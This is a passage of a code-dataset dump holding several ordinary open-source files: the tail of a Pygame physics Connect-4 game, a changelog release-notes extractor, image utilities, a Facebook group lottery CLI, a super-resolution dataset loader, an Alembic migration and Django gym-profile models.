pygame.draw.rect(self.WINDOW, self.colour, pygame.Rect(pos_x, pos_y, width, height))     \r\n\r\n        def update_query_points(self, i):\r\n            # if current query_point isn't in the top row\r\n            if self.query_points[i][1] - self.DISC_RADIUS*2 > self.origin[1] - self.FRAME_HEIGHT//2:\r\n                self.query_points[i] = (self.query_points[i][0], self.query_points[i][1] - self.DISC_RADIUS*2)     \r\n            else:\r\n                self.query_points[i] = (0,0)\r\n\r\n        def detect_win(self, piece_value):\r\n            # Check horizontal lines\r\n            for j in range(self.cols - (self.CONNECT_AMOUNT-1)):\r\n                for i in range(self.rows):\r\n                    if np.all(self.filled_spaces[i, j : j+self.CONNECT_AMOUNT] == piece_value):\r\n                        return (self.rows - (i+1), j), self.H_SOLUTION\r\n\r\n            # Check vertical lines\r\n            for j in range(self.cols):\r\n                for i in range(self.rows - (self.CONNECT_AMOUNT-1)):\r\n                    if np.all(self.filled_spaces[i : i+self.CONNECT_AMOUNT, j].flatten() == piece_value):\r\n                        return (self.rows - (i+1), j), self.V_SOLUTION   \r\n\r\n            # Check diagonal lines\r\n            for j in range(self.cols - (self.CONNECT_AMOUNT-1)):\r\n                for i in range(self.rows - (self.CONNECT_AMOUNT-1)):\r\n                    if np.all(self.filled_spaces[i : i+self.CONNECT_AMOUNT, j : j+self.CONNECT_AMOUNT].diagonal() == piece_value):\r\n                        return (self.rows - (i+1), j), self.PD_SOLUTION   \r\n                    if np.all(np.rot90(self.filled_spaces[i : i+self.CONNECT_AMOUNT, j : j+self.CONNECT_AMOUNT]).diagonal() == piece_value):\r\n                        return (self.rows - (i+1), j), self.SD_SOLUTION        \r\n\r\n            return None, None   \r\n\r\n        def detect_tie(self):\r\n            if not np.any(self.filled_spaces == self.EMPTY):\r\n                return True\r\n            return False\r\n\r\n        def draw_query_points(self, colour):\r\n            for point in self.query_points:\r\n                pygame.draw.circle(self.WINDOW, colour, (point[0], point[1]), 10)\r\n\r\n        def draw_cover(self):\r\n            for i in range(self.rows):\r\n                for j in range(self.cols):\r\n                    self.WINDOW.blit(self.cover_image, (self.bottom_left_point[0] + (j*(self.SLOT_SIZE+self.SLOT_BORDER)), self.bottom_left_point[1] - (i*self.cover_image.get_height())))\r\n            vertical_midpoint = (self.top_left_point[1] + (self.bottom_left_point[1] - (self.cover_image.get_height() * (self.rows-1)))) // 2\r\n            pygame.draw.rect(self.WINDOW, self.colour, pygame.Rect(self.origin[0], vertical_midpoint, self.FRAME_WIDTH - self.SLOT_BORDER, vertical_midpoint - self.top_left_point[1])) \r\n\r\n\r\n    class Button(pygame.sprite.Sprite):\r\n        def __init__(self, pos, image, hover_image, width, height, function):\r\n            super().__init__()\r\n            self.function = function\r\n\r\n            self.image = pygame.image.load(os.path.join('resources', image))\r\n            self.image  = pygame.transform.scale(self.image, (width, height))\r\n\r\n            self.hover_image = pygame.image.load(os.path.join('resources', hover_image))\r\n            self.hover_image  = pygame.transform.scale(self.hover_image, (width, height))\r\n\r\n            self.rect = self.image.get_rect()\r\n            self.rect.center = pos\r\n            self.hovering = False\r\n            # Starting on true stops the button being pressed immediately\r\n            self.clicked = True\r\n\r\n        def check_clicked(self):\r\n            mouse_pos = pygame.mouse.get_pos()\r\n            if self.rect.collidepoint(mouse_pos):\r\n                if pygame.mouse.get_pressed()[0] and not self.clicked:\r\n                    self.clicked = True\r\n                    return True\r\n\r\n            if not pygame.mouse.get_pressed()[0]:\r\n                self.clicked = False\r\n            return False\r\n\r\n        def update(self):\r\n            # Swaps images if cursor is over the button\r\n            mouse_pos = pygame.mouse.get_pos()\r\n            if self.rect.collidepoint(mouse_pos):\r\n                if not self.hovering:\r\n                    self.hovering = True\r\n                    self.image, self.hover_image = self.hover_image, self.image\r\n\r\n            elif self.hovering:\r\n                self.hovering = False\r\n                self.image, self.hover_image = self.hover_image, self.image\r\n\r\n\r\n    def check_exited(self):\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                self.running, self.playing = False, False\r\n                self.current_menu.run_display = False\r\n                return True\r\n        return False\r\n\r\n\r\n    # Pauses the game but still allows the use of buttons\r\n    def wait(self, wait_time):\r\n        start_time = time.time()\r\n        time_passed = 0\r\n        while time_passed < wait_time:\r\n            if self.check_buttons():\r\n                break\r\n            if self.check_exited():\r\n                break\r\n            self.button_group.update()\r\n            self.button_group.draw(self.WINDOW) \r\n            pygame.display.update()\r\n            time_passed = time.time() - start_time\r\n\r\n\r\n    def spawn_disc(self):\r\n        self.turn += 1\r\n        self.turn = self.turn % 2\r\n        if self.turn == self.RED_TURN:\r\n            self.disc = self.Disc(self.RED_SPAWN, self.board.DISC_RADIUS, 'Red_Disc.png', self.turn, self.space, self.disc_launch_factor)\r\n        elif self.turn == self.YELLOW_TURN:\r\n            self.disc = self.Disc(self.YELLOW_SPAWN, self.board.DISC_RADIUS, 'Yellow_Disc.png', self.turn, self.space, self.disc_launch_factor)\r\n        self.disc_group.add(self.disc)\r\n        self.ready_to_aim = True\r\n\r\n\r\n    # Adds button objects to the game\r\n    def add_button(self, pos, image, hover_image, width, height, function):\r\n        button = self.Button(pos, image, hover_image, width, height, function)\r\n        self.button_group.add(button)\r\n        self.buttons.append(button)\r\n\r\n\r\n    def check_buttons(self):\r\n        for button in self.buttons:\r\n            if button.check_clicked():\r\n                if button.function == 'restart':\r\n                    self.reset()\r\n                elif button.function == 'back':\r\n                    self.playing = False\r\n                return True\r\n        return False\r\n\r\n\r\n    def reset(self):\r\n        # Move final frame piece to the left so the pieces all fall out of the frame before resetting\r\n        if self.playing:\r\n            self.resetting = True\r\n            start_time = time.time()\r\n            time_passed = 0\r\n            while self.resetting:\r\n                self.clock.tick(self.FPS)\r\n                if self.check_exited():\r\n                    break\r\n\r\n                if self.board.frame[-1].bb[2] > self.board.frame[0].bb[2]:\r\n                    # moves bottom of the board to allow the pieces to fall out\r\n                    self.board.frame[-1].body.position = (self.board.frame[-1].body.position[0] - 10, self.board.frame[-1].body.position[1])\r\n\r\n                self.button_group.update()\r\n                self.disc_group.update()\r\n                self.space.step(self.STEP_SIZE)\r\n                self.draw_window()\r\n                pygame.display.update()\r\n                # Waits for bottom piece to be removed before counting down\r\n                if self.board.frame[-1].bb[2] <= self.board.frame[0].bb[2]:\r\n                    time_passed = time.time() - start_time\r\n                if time_passed > 1: \r\n                    self.resetting = False\r\n\r\n        # Refreshes attributes\r\n        self.space = pymunk.Space()\r\n        self.space.gravity = (0, self.VERT_GRAVITY_VAL)  \r\n        self.space.damping = self.DAMPING_VAL\r\n\r\n        self.prev_time = None\r\n        self.current_time = None\r\n        self.dt = None\r\n\r\n        self.turn = 0\r\n        self.ready_to_aim = True\r\n        self.aiming = False\r\n\r\n        self.player_turn = True\r\n        self.computer_turn = False\r\n\r\n        self.disc_group = pygame.sprite.Group()\r\n\r\n        self.board = self.Board(self.space, self.BLUE, self.WINDOW, self.WINDOW_WIDTH, self.WINDOW_HEIGHT, self.game_mode[0], self.game_mode[1], self.game_mode[2])\r\n\r\n        if self.vs_cpu:\r\n            if self.game_mode == self.game_modes['precision']:\r\n                # Always lets player move first in precision since it is unwinnable vs an extreme cpu\r\n                p = 0\r\n            else:\r\n                p = random.randrange(2)\r\n            self.cpu_piece = [self.RED_PIECE, self.YELLOW_PIECE][p]\r\n            self.cpu_colour = [self.RED, self.YELLOW][p]\r\n            self.cpu = CPU(self, self.cpu_piece, [self.RED_SPAWN, self.YELLOW_SPAWN][p], self.cpu_difficulty)\r\n            if self.cpu_piece == self.YELLOW_PIECE:\r\n                self.switch_turns()\r\n\r\n        if self.playing:\r\n            self.game_loop()\r\n\r\n\r\n    def create_aim_indicator(self, mouse_pos, disc_pos):\r\n        dist_from_disc = math.dist(mouse_pos, disc_pos)\r\n        if dist_from_disc < self.disc.radius:\r\n            aim_line = self.Aim_Line(mouse_pos, self.BLACK, self.aim_font, self.WINDOW, self.aim_line_max_dis)\r\n            self.aim_line_group.add(aim_line)\r\n            self.aiming = True\r\n            return aim_line        \r\n\r\n\r\n    def release_aim_indicator(self, aim_line):\r\n        self.aim_line_group.remove(aim_line)\r\n        if aim_line.power > 0:\r\n            self.disc.launch(aim_line.angle, aim_line.power)\r\n            del aim_line\r\n            self.ready_to_aim = False\r\n        self.aiming = False\r\n        return None\r\n\r\n\r\n    def remove_disc(self):\r\n        self.disc_group.remove(self.disc)\r\n        self.space.remove(self.disc.shape, self.disc.body)        \r\n\r\n\r\n    def draw_solution_line(self, winning_cell, line_direction, colour):\r\n        # Same as query point locations\r\n        winning_point = (self.board.origin[0] + int(((winning_cell[1] + 1/2) * (self.board.SLOT_SIZE + self.board.SLOT_BORDER))), self.board.origin[1] + self.board.FRAME_HEIGHT//2 - ((2 * winning_cell[0] + 1) * self.board.DISC_RADIUS))\r\n        # Draws line through the winning section\r\n        if line_direction == self.board.H_SOLUTION:\r\n            pygame.draw.line(self.WINDOW, colour, winning_point, (winning_point[0] + ((self.board.CONNECT_AMOUNT-1) * (self.board.SLOT_SIZE + self.board.SLOT_BORDER)), winning_point[1]), self.board.SOL_LINE_THICKNESS)\r\n        elif line_direction == self.board.V_SOLUTION:\r\n            pygame.draw.line(self.WINDOW, colour, winning_point, (winning_point[0], winning_point[1] + (2 * (self.board.CONNECT_AMOUNT-1) * self.board.DISC_RADIUS)), self.board.SOL_LINE_THICKNESS)\r\n        elif line_direction == self.board.PD_SOLUTION:\r\n            pygame.draw.line(self.WINDOW, colour, winning_point, (winning_point[0] + ((self.board.CONNECT_AMOUNT-1) * (self.board.SLOT_SIZE + self.board.SLOT_BORDER)), winning_point[1] + (2 * (self.board.CONNECT_AMOUNT-1) * self.board.DISC_RADIUS)), self.board.SOL_LINE_THICKNESS)\r\n        elif line_direction == self.board.SD_SOLUTION:\r\n            pygame.draw.line(self.WINDOW, colour, (winning_point[0], winning_point[1] + (2 * (self.board.CONNECT_AMOUNT-1) * self.board.DISC_RADIUS)), (winning_point[0] + ((self.board.CONNECT_AMOUNT-1) * (self.board.SLOT_SIZE + self.board.SLOT_BORDER)), winning_point[1]), self.board.SOL_LINE_THICKNESS)\r\n        pygame.display.update()\r\n\r\n\r\n    def draw_text(self, font_name, pos, size, colour, text):\r\n        font = pygame.font.SysFont(font_name, size)\r\n        text_surface = font.render(text, True, colour)\r\n        text_rect = text_surface.get_rect()\r\n        text_rect.center = pos\r\n        self.WINDOW.blit(text_surface, text_rect)\r\n\r\n\r\n    # Returns if the game has been won in the 'precision' gamemode\r\n    def detect_precision_win(self):\r\n        if np.count_nonzero(self.board.filled_spaces == self.disc.piece_value) > self.board.rows//2:\r\n            return True\r\n        return False\r\n\r\n\r\n    def print_result(self, tie = False):\r\n        result = 'No one Wins!'\r\n        sub_result = \"(Isn't that fun?)\"\r\n        result_pos = (self.WINDOW_WIDTH//2, self.WINDOW_HEIGHT//8)\r\n        if not tie:\r\n            if self.disc.turn == self.RED_TURN:\r\n                result = 'Red Wins!'\r\n                self.draw_text(self.win_font_name, result_pos, self.win_font_size, self.RED, result)\r\n            if self.disc.turn == self.YELLOW_TURN:\r\n                result = 'Yellow Wins!'\r\n                self.draw_text(self.win_font_name, result_pos, self.win_font_size, self.YELLOW, result)\r\n        else: \r\n            self.draw_text(self.win_font_name, result_pos, self.win_font_size, self.BLACK, result)\r\n            self.draw_text(self.win_font_name, (result_pos[0], result_pos[1] + self.win_font_size), self.win_font_size//2, self.BLACK, sub_result)\r\n        pygame.display.update()\r\n\r\n\r\n    # Shows whose turn it currently is\r\n    def show_turn(self):\r\n        font = pygame.font.SysFont(self.win_font_name, self.turn_font_size)\r\n        text_surface = font.render(\"Computer's turn:\", True, self.cpu_colour)\r\n        self.WINDOW.blit(text_surface, (self.WINDOW_WIDTH//50, self.WINDOW_HEIGHT//50))\r\n\r\n\r\n    def draw_window(self):\r\n        self.WINDOW.fill(self.BG_COLOUR)\r\n        self.disc_group.draw(self.WINDOW)\r\n        self.board.draw_frame()\r\n        #self.board.draw_query_points(self.BLACK)\r\n        self.aim_line_group.update() \r\n        self.button_group.draw(self.WINDOW)   \r\n        self.board.draw_cover()           \r\n        # if self.disc.path_prediction:\r\n        #     self.disc.path_prediction.draw_path(self.WINDOW, self.BLACK)\r\n        if self.computer_turn:\r\n            self.show_turn()\r\n        #pygame.display.update()        \r\n\r\n\r\n    def end_game(self, tie = False):\r\n        self.print_result(tie)\r\n        self.wait(self.sol_wait_time)\r\n        self.reset()     \r\n\r\n\r\n    # Allows for time independence but is unused as it allows the discs to move through board walls\r\n    def update_delta_time(self):\r\n        self.current_time = time.time()\r\n        self.dt = self.current_time - self.prev_time\r\n        self.prev_time = self.current_time     \r\n        self.STEP_SIZE = self.dt * 2.3\r\n\r\n\r\n    def switch_turns(self):\r\n        if self.player_turn:\r\n            self.player_turn = False\r\n            self.computer_turn = True\r\n\r\n        elif self.computer_turn:\r\n            self.player_turn = True\r\n            self.computer_turn = False\r\n\r\n\r\n    def game_loop(self):\r\n        if self.playing:\r\n\r\n            # initialises game\r\n            self.spawn_disc()\r\n            aim_line = None\r\n            temp_disc_pos = (0, 0)\r\n            self.prev_time = time.time()\r\n\r\n        while self.playing:\r\n            self.clock.tick(self.FPS)\r\n\r\n            # self.update_delta_time()\r\n\r\n            self.draw_window()\r\n            pygame.display.update()\r\n          \r\n            for event in pygame.event.get():\r\n                if event.type == pygame.QUIT:\r\n                    self.running, self.playing = False, False\r\n                    self.current_menu.run_display = False\r\n\r\n                # Player aim and launch disc\r\n                if event.type == pygame.MOUSEBUTTONDOWN and self.player_turn:\r\n                    if self.ready_to_aim:\r\n                        aim_line = self.create_aim_indicator(event.pos, self.disc.rect.center)\r\n\r\n                if event.type == pygame.MOUSEBUTTONUP and aim_line and self.player_turn:\r\n                    aim_line = self.release_aim_indicator(aim_line)\r\n\r\n                # Cheat for testing\r\n                # if event.type == pygame.KEYDOWN:\r\n                #     if event.key == pygame.K_s:\r\n                #         self.disc.body.position = pygame.mouse.get_pos()\r\n\r\n            # CPU aim and launch disc\r\n            if self.computer_turn and self.ready_to_aim:\r\n                self.cpu.aim_disc(self.Aim_Line(self.cpu.piece_spawn, self.BLACK, self.aim_font, self.WINDOW, self.aim_line_max_dis))\r\n                self.release_aim_indicator(self.cpu.aim_line)\r\n\r\n            # Suspends space if a disc has just spawned\r\n            if not self.ready_to_aim:\r\n                self.space.step(self.STEP_SIZE)\r\n\r\n            self.disc_group.update()\r\n            # Checks if disc has fallen off screen\r\n            if self.disc.rect.top > self.WINDOW_HEIGHT:\r\n                self.remove_disc()\r\n                self.spawn_disc()\r\n                if self.vs_cpu:\r\n                    self.switch_turns()\r\n\r\n            # Checks if a disc is no longer moving\r\n            if math.dist(temp_disc_pos, self.disc.body.position) < self.disc_dist_tol and not self.ready_to_aim:\r\n                for i, point in enumerate(self.board.query_points):\r\n                    if self.disc.shape.point_query(point)[2] < 0:\r\n                        self.disc.set_to_board(self.board, i)\r\n                        self.board.update_query_points(i)\r\n                        break\r\n\r\n                # Removes discs settled outside the board\r\n                if not self.disc.set_in_board:\r\n                    self.remove_disc()\r\n\r\n                # Checking for the end of the game\r\n                if self.disc.set_in_board and self.game_mode == self.game_modes['precision']:\r\n                    if self.detect_precision_win():\r\n                        self.end_game()\r\n\r\n                winning_cell, line_direction = self.board.detect_win(self.disc.piece_value)\r\n                if winning_cell:\r\n                    self.draw_solution_line(winning_cell, line_direction, self.ORANGE)\r\n                    self.end_game()\r\n\r\n                if self.board.detect_tie():\r\n                    self.end_game(True)\r\n\r\n                self.spawn_disc()\r\n\r\n                # make player turn if computer turn and vice versa if vs cpu\r\n                if self.vs_cpu:\r\n                    self.switch_turns()\r\n\r\n            self.button_group.update()\r\n            self.check_buttons()            \r\n\r\n            temp_disc_pos = self.disc.body.position      \r\n\r\n\r\nif __name__ == '__main__':\r\n    game = Catapult_4()\r\n    game.game_loop()\r\n","repo_name":"LawrenceBelle/Pygame-Catapult-Connect-4","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":30510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41763822995","text":"#!/usr/bin/env python3\n\nimport argparse\nimport re\nimport pathlib\nimport sys\n\n\n_STDIO = pathlib.Path(\"-\")\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-i\", \"--input\", type=pathlib.Path, default=\"CHANGELOG.md\")\n    parser.add_argument(\"--tag\", required=True)\n    parser.add_argument(\"-o\", \"--output\", type=pathlib.Path, required=True)\n    args = parser.parse_args()\n\n    if args.input == _STDIO:\n        lines = sys.stdin.readlines()\n    else:\n        with args.input.open() as fh:\n            lines = fh.readlines()\n    version = args.tag.lstrip(\"v\")\n\n    note_lines = []\n    for line in lines:\n        if line.startswith(\"## \") and version in line:\n            note_lines.append(line)\n        elif note_lines and line.startswith(\"## \"):\n            break\n        elif note_lines:\n            note_lines.append(line)\n\n    notes = \"\".join(note_lines).strip()\n    if args.output == _STDIO:\n        print(notes)\n    else:\n        args.output.write_text(notes)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"clap-rs/clap","sub_path":".github/workflows/release-notes.py","file_name":"release-notes.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":12319,"dataset":"github-code","pt":"77"}
+{"seq_id":"43015232565","text":"from matplotlib import pyplot as plt\nimport math\n\n\n\n\"\"\"\n Execute filter on given value\n\n\"\"\"\ndef execute(value, t):\n\tresults = t.trasform(value)\n\treturn results\n\n\n\ndef add_images_graph(title, images):\n\n\tfig = plt.figure()\n\tfig.canvas.set_window_title(title)\n\n\timage_number = len(images)\n\n\tx = int(math.sqrt(image_number))\n\ty = x\n\n\twhile x*y < image_number:\n\t\ty = y + 1\n\n\tfor i in range(image_number):\n\t\tgraph = fig.add_subplot(x,y,i+1)\n\t\tgraph.imshow(images[i])\n\n\n\n\n\"\"\"\n Show input images and output images of trasformer\n\n\"\"\"\ndef test(inputs, trasformer):\n\tprocessed_img = execute(inputs, trasformer)\n\tadd_images_graph(\"Inputs\", inputs)\n\tadd_images_graph(\"Processed\", processed_img)\n\tplt.show()\n\treturn processed_img\n\n\n\ndef load_all_images_in_folder(path):\n\tfile_names = glob.glob(path + \"/*.jpg\")\n\timages = []\n\tfor name in file_names:\n\t\timages.append(Image.open(name).convert(\"RGBA\"))\n\treturn images\n\n\n\ndef load_n_images_in_folder(path, n):\n\ti = 0\n\tfile_names = glob.glob(path + \"/*.jpg\")\n\timages = []\n\twhile i < n:\n\t\timages.append(Image.open(file_names[i]).convert(\"RGBA\"))\n\t\ti = i + 1\n\treturn images\n\n\n\ndef load_all_png_images_in_folder(path):\n\tfile_names = glob.glob(path + \"/*.png\")\n\timages = []\n\tfor name in file_names:\n\t\timages.append(Image.open(name).convert(\"RGBA\"))\n\treturn images\n\n\n\ndef convert_to_png(images, path):\n\ti = 1\n\tfor im in images:\n\t\tim.save(path + \"/\" + str(i) + \".png\")\n\t\ti = i + 1\n\n\n\ndef convert_to_jpg(images, path):\n\ti = 1\n\tfor im in images:\n\t\tim.save(path + \"/\" + str(i) + \".jpg\")\n\t\ti = i + 1\n\n\n\"\"\"\n Mantain images ratio\n\n\"\"\"\ndef resize_all_images(images, x, y):\n\tresized = []\n\tfor im in images:\n\t\tim.thumbnail((x,y), Image.ANTIALIAS)\n\t\tresized.append(im)\n\treturn resized\n\n\n\"\"\"\n Don't mantain images ratio\n \n\"\"\"\ndef resize_exactly_all_images(images, x, y):\n\tresized = []\n\tfor im in images:\n\t\tim = im.resize((x,y), Image.ANTIALIAS)\n\t\tresized.append(im)\n\treturn resized\n\n\n\n\"\"\"\n Prepare Images to be fed into Keras Model\n\n WORK IN PROGRESS\n\n\"\"\"\ndef adapt_shape(images):\n\tresult = []\n\tfor im in images:\n\t\tim = (np.array(im))\n\n\t\tr = im[:,:,0]\n\t\tg = im[:,:,1]\n\t\tb = im[:,:,2]\n\n\t\tresult.append([r,g,b])\n\treturn np.array(result)\n\n\n\n","repo_name":"cgianmarco/dataset-generator","sub_path":"datasetGenerator/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13098677328","text":"import json\nimport random\nimport secrets\nimport urllib.parse\n\nimport requests\nfrom docopt import docopt\nfrom PyInquirer import prompt\n\n\nclass Facebook:\n    \"\"\"Lottocracy Facebook playground\n\n    Usage:\n        lottocracy facebook <access_token>\n        lottocracy facebook <access_token> batch [<answers>...]\n\n    Options:\n        -h --help     Show this screen.\n        --version     Show version.\n    \"\"\"\n\n    def __init__(self):\n        pass\n\n    @staticmethod\n    def clean_key(key: str) -> str:\n        return '_' + key.strip().replace('-', '_').replace('<', '').replace('>', '')\n\n    def request(self, path, query=None):\n        if query is None:\n            query = {}\n        query['access_token'] = self._access_token\n        response = requests.get(f\"https://graph.facebook.com/v10.0/{path}\", params=query)\n        if response.status_code == 200:\n            return json.loads(response.text)\n        else:\n            raise Exception(f'Status code {response.status_code} from Facebook {response.text}')\n\n    def ask_questions(self, questions):\n        enumerated_answers = {}\n        answers = {}\n        if self._answers:\n            for question in questions:\n                answer = self._answers.pop(0)\n                if question['type'] in ('list', 'rawlist'):\n                    if answer.isdigit():\n                        answers[question['name']] = question['choices'][int(answer)-1]\n                    else:\n                        assert answer in question['choices']\n                        answers[question['name']] = answer\n                else:\n                    answers[question['name']] = answer\n        else:\n            answers = prompt(questions)\n        for question in questions:\n            for answer_key, answer_value in answers.items():\n                if question['type'] in ('list', 'rawlist'):\n                    for choice in enumerate(question['choices']):\n                        if choice[1] == answer_value:\n                            enumerated_answers[answer_key] = choice\n                            break\n                else:\n                    enumerated_answers[answer_key] = (0, answer_value)\n        return enumerated_answers\n\n    def execute(self, argv):\n        args = docopt(self.__class__.__doc__, argv)\n        for key, value in args.items():\n            setattr(self, Facebook.clean_key(key), value)\n        answers = self.ask_questions([{'type': 'rawlist',\n                      'name': 'action',\n                      'message': 'What do you want to do?',\n                      'choices': ['Run Lottery On Facebook Group']\n                      }])\n        if answers['action'][0] == 0:\n            self.run_lottery()\n\n    def run_lottery(self):\n        group_data = self.request(\"me\", query={'fields':'groups'})['groups']['data']\n        answers = self.ask_questions([{'type': 'list',\n                      'name': 'group',\n                      'message': 'Which group should the lottery be run on?',\n                      'choices': [group['name'] for group in group_data]\n                      }])\n        group_id = list(filter(lambda g: g['name'] == answers['group'][1], group_data))[0]['id']\n        opted_in_members = self.request(f'{group_id}/opted_in_members')['data']\n        print(f'Found {len(opted_in_members)} members')\n        answers = self.ask_questions([{'type': 'input',\n                      'name': 'max_size',\n                      'message': 'What is the maximum group size that should be used?',\n                      'validate': lambda x: x.isdigit(),\n                      }])\n        chunk_size = max(int(len(opted_in_members)/int(answers['max_size'][1])), 3)\n        random.shuffle(opted_in_members)\n        print([chunk for chunk in opted_in_members[::chunk_size]])\n","repo_name":"unvaluedcustomer/lottocracy_playground","sub_path":"lottocracy/cli_facebook.py","file_name":"cli_facebook.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40813556284","text":"import os\nimport glob\nfrom data import srdata\n\nclass SDR(srdata.SRData):\n    def __init__(self, args, name='SDR', train=True, benchmark=False):\n        super(SDR, self).__init__(\n            args, name=name, train=train, benchmark=benchmark\n        )\n\n    def _set_filesystem(self, dir_data):\n        super(SDR, self)._set_filesystem(dir_data)\n        if self.train:\n            self.dir_hr = os.path.join(self.apath, 'trainset/HR')\n            self.dir_lr = os.path.join(self.apath, 'trainset/LR')\n        else:\n            self.dir_hr = os.path.join(self.apath, 'valset/HR')\n            self.dir_lr = os.path.join(self.apath, 'valset/LR')\n    \n    def remove_unused(self, imgs_list):\n        new_list = []\n        for _, imgs in enumerate(imgs_list):\n            if imgs[-8:-4] in ['0025', '0075']:\n                new_list.append(imgs)\n        return new_list\n\n    def _scan(self):\n        names_hr = sorted(\n            glob.glob(os.path.join(self.dir_hr, '*' + self.ext[0]))\n        )\n        names_lr = [[] for _ in self.scale]\n        for f in names_hr:\n            filename, _ = os.path.splitext(os.path.basename(f))\n            for si, s in enumerate(self.scale):\n                names_lr[si].append(os.path.join(\n                    self.dir_lr, 'X{}/{}{}'.format(\n                        s, filename, self.ext[1]\n                    )\n                ))\n\n        if not self.train:\n            names_hr = self.remove_unused(names_hr)\n            names_lr = [self.remove_unused(names) for names in names_lr]\n\n        return names_hr, names_lr","repo_name":"LiangweiChen2020/RCAN","sub_path":"src/data/sdr.py","file_name":"sdr.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"74660966008","text":"\"\"\"Add cleaning steps and multiple-choice options\n\nRevision ID: e50f2657836b\nRevises: f1ed219d6cf4\nCreate Date: 2020-09-04 18:38:54.109793\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = 'e50f2657836b'\ndown_revision = 'f1ed219d6cf4'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('custom_attribute', sa.Column('cleaning_steps', postgresql.JSONB(astext_type=sa.Text()), nullable=True))\n    op.add_column('custom_attribute', sa.Column('options', postgresql.JSONB(astext_type=sa.Text()), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('custom_attribute', 'options')\n    op.drop_column('custom_attribute', 'cleaning_steps')\n    # ### end Alembic commands ###\n","repo_name":"teamsempo/SempoBlockchain","sub_path":"app/migrations/versions/e50f2657836b_.py","file_name":"e50f2657836b_.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"77"}
+{"seq_id":"1375571250","text":"from django.db import models\nfrom django.db.models.signals import post_save\nfrom djmoney.models.fields import MoneyField\nfrom django.core.files.base import ContentFile\n\nimport segno\nimport uuid\nimport os\nimport io\n\nfrom accounts.models import User\nfrom core.infrastructure.choices import GYM\nfrom customer.models import CustomerProfile\n\n\nclass Address(models.Model):\n    address = models.CharField(max_length=255)\n    district = models.CharField(max_length=255, blank=True, null=True)\n    zone = models.CharField(max_length=255, blank=True, null=True)\n    municipality = models.CharField(max_length=255, blank=True, null=True)\n    street = models.CharField(max_length=255, blank=True, null=True)\n    province = models.CharField(max_length=255, blank=True, null=True)\n    local_body_name = models.CharField(max_length=255, blank=True, null=True)\n    locality = models.CharField(max_length=255, blank=True, null=True)\n    latitude = models.FloatField(max_length=10, blank=True, null=True)\n    longitude = models.FloatField(max_length=10, blank=True, null=True)\n\n    def __str__(self):\n        return self.address\n\n\ndef get_gym_qr_filename(instance, filename):\n    ext = filename.split('.')[-1]\n    filename = f'{uuid.uuid4()}.{ext}'\n    return os.path.join(\"uploads/qr_codes/\", filename)\n\n\ndef get_gym_image_filename(instance, filename):\n    ext = filename.split('.')[-1]\n    filename = f'{uuid.uuid4()}.{ext}'\n    return os.path.join(\"uploads/gym_images/\", filename)\n\n\nclass GymProfile(models.Model):\n    \"\"\"Database model for Gym Profile in the system\"\"\"\n    \n    user = models.OneToOneField(User, related_name=\"gym_profile\", on_delete=models.CASCADE)\n    company_name = models.CharField(max_length=200, null=True, blank=True)\n    description = models.TextField(null=True, blank=True)\n    image = models.ImageField(upload_to=get_gym_image_filename, blank=True, null=True)\n    qrcode = models.ImageField(upload_to=get_gym_qr_filename, null=True, blank=True)\n    total_earning = MoneyField(max_digits=10, decimal_places=2, default_currency='NPR', default=0.00)\n    location = models.ForeignKey(Address, related_name=\"gym_address\", on_delete=models.SET_NULL, null=True, blank=True)\n    \n    def __str__(self):\n        if self.company_name:\n            return self.company_name\n        return self.user.name\n\n\ndef add_qr_code(instance):\n    \"\"\"Function to save QR code for gym once gym profile is created\"\"\"\n    qrcode = segno.make(f'http://127.0.0.1:8000/gym/{instance.id}/check-in/')\n    out = io.BytesIO()\n    qrcode.save(out, kind='png', scale=3)\n    instance.qrcode.save(f'gym_{instance.id}.png', ContentFile(out.getvalue()), save=False)\n    instance.save()\n\n\ndef add_gym_profile(sender, instance, *args, **kwargs):\n    \"\"\"Function to create gym profile once gym role user is created\"\"\"\n    if instance.role == GYM and not GymProfile.objects.filter(user=instance).exists():\n        gym_profile = GymProfile.objects.create(user=instance)\n        add_qr_code(gym_profile)\n\npost_save.connect(add_gym_profile, sender=User)\n\n\nclass CheckIns(models.Model):\n    \"\"\"Database model for Gym Checkins in the system\"\"\"\n    \n    gym = models.ForeignKey(GymProfile, related_name=\"check_in_gym\", on_delete=models.CASCADE)\n    customer = models.ForeignKey(CustomerProfile, related_name=\"check_in_customer\", on_delete=models.CASCADE)\n    check_in_at = models.DateTimeField(auto_now_add=True)","repo_name":"AashishPaudel/Gym_App-Django-Backend-portion-","sub_path":"app/gym/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
